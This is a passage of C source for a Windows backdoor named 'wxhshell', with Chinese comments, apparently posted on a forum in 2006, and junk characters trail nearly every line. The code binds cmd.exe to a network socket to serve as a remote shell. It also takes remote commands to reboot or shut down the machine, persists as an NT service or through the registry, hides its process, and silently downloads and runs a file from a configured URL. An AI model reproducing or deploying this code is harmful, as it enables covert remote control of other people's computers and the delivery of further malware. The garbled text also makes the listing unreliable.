  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u\JNr}bL  
  } 3sZ\0P}   
  else { ,s;Uf F  
5l*&>C[(i  
    switch(cmd[0]) { =_u4=4  
  3=ymm^  
  // 帮助 VY\&8n}e(  
  case '?': { 9'q*:&qq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <Q?F?.^e  
    break; UFuX@Lu0  
  } $iz|\m  
  // 安装 4+ Z]3oIRE  
  case 'i': { 5/Uy{Xt  
    if(Install()) {Y9q[D'g.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '2^Q1{ :\  
    else 6)Lk-D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i K? w6  
    break; Pgea NK5Y  
    } cYt!n5w~W  
  // 卸载 N87B8rDl  
  case 'r': { B^9j@3Ux  
    if(Uninstall()) Z#\P&\`1z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u;c?d!E  
    else | Xy6PN8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4{`{WI{  
    break; =rX>.P%Q5  
    } ~qOa\#x_  
  // 显示 wxhshell 所在路径 }vM("v|M  
  case 'p': { R~$qo)v  
    char svExeFile[MAX_PATH]; V~5jfcd  
    strcpy(svExeFile,"\n\r"); OI*Xt`  
      strcat(svExeFile,ExeFile); 4r}8lpF_(  
        send(wsh,svExeFile,strlen(svExeFile),0); D,FkB"ZZE  
    break; wAW5 Z0D  
    } ?5 7Sk+  
  // 重启 d/DB nZN  
  case 'b': { o`*,|Nsq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D}X\Ca"h  
    if(Boot(REBOOT)) "#\ ;H$+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Qe;vZ31K  
    else { @s2y~0}#  
    closesocket(wsh); 'q:`? nJ^  
    ExitThread(0); :6\qpex  
    } ]?[fsdAQW  
    break; e^D]EA ]%  
    } LSr]S79N1  
  // 关机 ~R92cH>L  
  case 'd': { 0:Ol7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3'u-'  
    if(Boot(SHUTDOWN)) B0]~el  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6,{$J  
    else { ZzT9j~  
    closesocket(wsh); /s}} &u/  
    ExitThread(0); G<v&4/\p`M  
    } ~M4;  
    break; ,nDaqQ-C!!  
    } yO~Ig `w  
  // 获取shell O@C@eW#  
  case 's': { B_m8{44zM  
    CmdShell(wsh); >I&5j/&}+  
    closesocket(wsh); @6T/Tdz  
    ExitThread(0); ^$hH1H+V  
    break; pcWPH.  
  } v^ V itLC  
  // 退出 :G%61x&=Zc  
  case 'x': { $ gS>FJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }Kbb4]t|"  
    CloseIt(wsh); E09 :E  
    break; v z '&%(  
    } 0.k7oB;f(@  
  // 离开 W|63Ir67  
  case 'q': { 7E~;xn;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fS78>*K  
    closesocket(wsh); wi6 ~}~%  
    WSACleanup(); uk<9&{  
    exit(1); VS8Rx.?  
    break; ]-/VHh  
        } ?2Py_gkf  
  } -C?ZB}`   
  } L0WN\|D  
b!5~7Ub.No  
  // 提示信息 XuM'_FN`A<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2!=f hN  
} *YuF0Yt  
  } 9m~p0ILh  
*wB1,U{  
  return; QE`bSI  
} e h?zNu2=  
q'Tf,a  
// shell模块句柄 ExL0?FemWV  
int CmdShell(SOCKET sock) L>4"(  
{ +OWX'~fd<  
STARTUPINFO si; mSh[}%swj  
ZeroMemory(&si,sizeof(si)); &Ys<@M7E:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C1 GKLl~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cB}D^O   
PROCESS_INFORMATION ProcessInfo; Vb]=B~^`  
char cmdline[]="cmd"; ={@6{-tl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 57']#j#"hj  
  return 0; ;,:`1UI  
} +*/Zu`kzX  
z/@slT  
// 自身启动模式 9Y_HyOZ*GX  
int StartFromService(void) A@{PZ   
{ PP33i@G  
typedef struct >V8-i`  
{ 9 X`Sm}i  
  DWORD ExitStatus; fN1-d&T  
  DWORD PebBaseAddress; LIF7/$,0  
  DWORD AffinityMask; )W _v:?A9  
  DWORD BasePriority; o9yJf#-En  
  ULONG UniqueProcessId; nazZ*lC  
  ULONG InheritedFromUniqueProcessId; Gm^U;u}=f  
}   PROCESS_BASIC_INFORMATION; 4yA+ h2  
0rs"o-s<  
PROCNTQSIP NtQueryInformationProcess; N]=q|D  
8\A#CQ5b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sp]0c[37R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eiaFaYe\  
XW)lDiJl  
  HANDLE             hProcess; o~y;j75{.*  
  PROCESS_BASIC_INFORMATION pbi; c2 C8g1n  
['tY4$L(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4*cEag   
  if(NULL == hInst ) return 0; w;:*P  
!@*7e:l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `% "\@<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #r~# I}U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YWO)HsjP  
'/p/8V.O.  
  if (!NtQueryInformationProcess) return 0; .:%0E`E  
Zaf:fsj>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jZkcBIK2  
  if(!hProcess) return 0; FxWSV|Z  
? _9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LxSpctiNx  
>7T'OC  
  CloseHandle(hProcess); h_3E)jc  
Nkth>7*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W/bQd)Jvk  
if(hProcess==NULL) return 0; Ee%%d  
Q6!zZ))~  
HMODULE hMod; sfugY (m  
char procName[255]; z3m85F%dR  
unsigned long cbNeeded; WUXx;9>  
o&)8o5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k1Y?  
6@F9G 4<Z  
  CloseHandle(hProcess); sW'AjI  
dhf!o0'1M  
if(strstr(procName,"services")) return 1; // 以服务启动 u5b|#&-mX  
`w7v*h|P  
  return 0; // 注册表启动 Ma']?Rb`  
} S3*`jF>q  
h-K_Lr]  
// 主模块 vm7z,FfN  
int StartWxhshell(LPSTR lpCmdLine) =M [bnq*\  
{ lc1(t:"[  
  SOCKET wsl; qUW! G&R  
BOOL val=TRUE; .*S#aq4S  
  int port=0; b;W3j   
  struct sockaddr_in door; &4x}ppX  
0#s"e}@v  
  if(wscfg.ws_autoins) Install(); )|R)Q6UJ  
x$.^"l-vX  
port=atoi(lpCmdLine); 5o'FS{6U  
U!?_W=?  
if(port<=0) port=wscfg.ws_port; '/n1IM$7  
;yLu R  
  WSADATA data; l<LP&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (!7sE9rP  
"W7K"=X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y^;ovH~ ve  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RSyUaA  
  door.sin_family = AF_INET; y@:h4u"3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mCsMqDH  
  door.sin_port = htons(port); .*?wF  
)D5"ap]fX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ):68%,  
closesocket(wsl); M2>Vj/  
return 1; 8f)?{AX0  
} Fg5kX  
0$)>D==  
  if(listen(wsl,2) == INVALID_SOCKET) { 6azGhxh  
closesocket(wsl); {JO  
return 1; 7cT~oV !G_  
} p{ Yv3dNl  
  Wxhshell(wsl); F^t DL:  
  WSACleanup(); r?lf($ D*  
"fCu=@i  
return 0; p;59?  
y^,1a[U.  
} 0y" $MC v  
+\c5]`  
// 以NT服务方式启动 ^T;*M_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :bu/^mW[  
{ G%AbC"  
DWORD   status = 0; \378rQU  
  DWORD   specificError = 0xfffffff; 0w \zLU  
7Oa#c<2]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Pg0x/X{t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mzaWST]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `iAF3:  
  serviceStatus.dwWin32ExitCode     = 0; 7$vYo _  
  serviceStatus.dwServiceSpecificExitCode = 0; hOu3 bA  
  serviceStatus.dwCheckPoint       = 0; Yq0| J  
  serviceStatus.dwWaitHint       = 0; * 8yAG]z  
jk; clwyz/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +,T RfP Fb  
  if (hServiceStatusHandle==0) return; 85|OGtt  
U0 Yll4E  
status = GetLastError(); j9x<Y]  
  if (status!=NO_ERROR) h5{'Q$Erl  
{ 1MP~dRZ$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xd q?/^E  
    serviceStatus.dwCheckPoint       = 0; L%*!`TN  
    serviceStatus.dwWaitHint       = 0; hYT0l$Ng  
    serviceStatus.dwWin32ExitCode     = status; W#4 7h7M  
    serviceStatus.dwServiceSpecificExitCode = specificError; @;zl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SIF/-{i(X  
    return; [fya)}  
  } @Q ]=\N:  
yYIf5S`V]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L3u&/Tn2  
  serviceStatus.dwCheckPoint       = 0; LEbB(x;@  
  serviceStatus.dwWaitHint       = 0; BOb">6C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JgKO|VO  
} axv>6k  
ENl)Ts`y  
// 处理NT服务事件,比如:启动、停止 p*R;hU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uB]7G0g:  
{ $<dH?%!7  
switch(fdwControl) UN;H+gNnN  
{ 0U(@= 7V  
case SERVICE_CONTROL_STOP: {3>$[bT  
  serviceStatus.dwWin32ExitCode = 0; Ga-k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :j9l"5"  
  serviceStatus.dwCheckPoint   = 0; <Dl*l{zba  
  serviceStatus.dwWaitHint     = 0; VuhGx:Xl  
  { *KZYv=s,u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?mwt~_s9  
  } ]^.  _z  
  return; U2tV4_ e  
case SERVICE_CONTROL_PAUSE: iW]j9}t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v}}F,c(f  
  break; 7Utn\l  
case SERVICE_CONTROL_CONTINUE: T6y\|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sQ UM~HD\a  
  break; ="1Ind@w!  
case SERVICE_CONTROL_INTERROGATE: GfxZ'VIn  
  break; fa jGZyd0:  
}; .;y.]Z/;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Thp[+KP>  
} p,5i)nEFj  
Go`vfm"S  
// 标准应用程序主函数 e8>})  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A2I9R;}  
{ lLX4Gq1  
=57>!)  
// 获取操作系统版本 oA7tE u   
OsIsNt=GetOsVer(); n$MO4s8)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (Z+.45{-  
lK?uXr7^  
  // 从命令行安装 LiC*@W  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4M=]wR;  
^]>O;iB?  
  // 下载执行文件 (R[[Z,>w.  
if(wscfg.ws_downexe) { m4[;(1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |{z:IQLv  
  WinExec(wscfg.ws_filenam,SW_HIDE); !P2ro~0/  
} : Xda1S  
j nkR}wAA  
if(!OsIsNt) { !hA-_  
// 如果时win9x,隐藏进程并且设置为注册表启动 h"[AOfTE$  
HideProc(); MD}w Y><C  
StartWxhshell(lpCmdLine); f&N gS+<K$  
} -V*R\,>  
else ,Q3T Tno ,  
  if(StartFromService()) 9a[9i}_  
  // 以服务方式启动 m<<+  
  StartServiceCtrlDispatcher(DispatchTable); a{L%7  
else 6+:iy'-  
  // 普通方式启动 ~dyTVJ$  
  StartWxhshell(lpCmdLine); bbDZ#DK"  
8 `v-<J  
return 0; n2"a{Ofhlf  
}
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只看该作者 1 发表于: 2006-10-10
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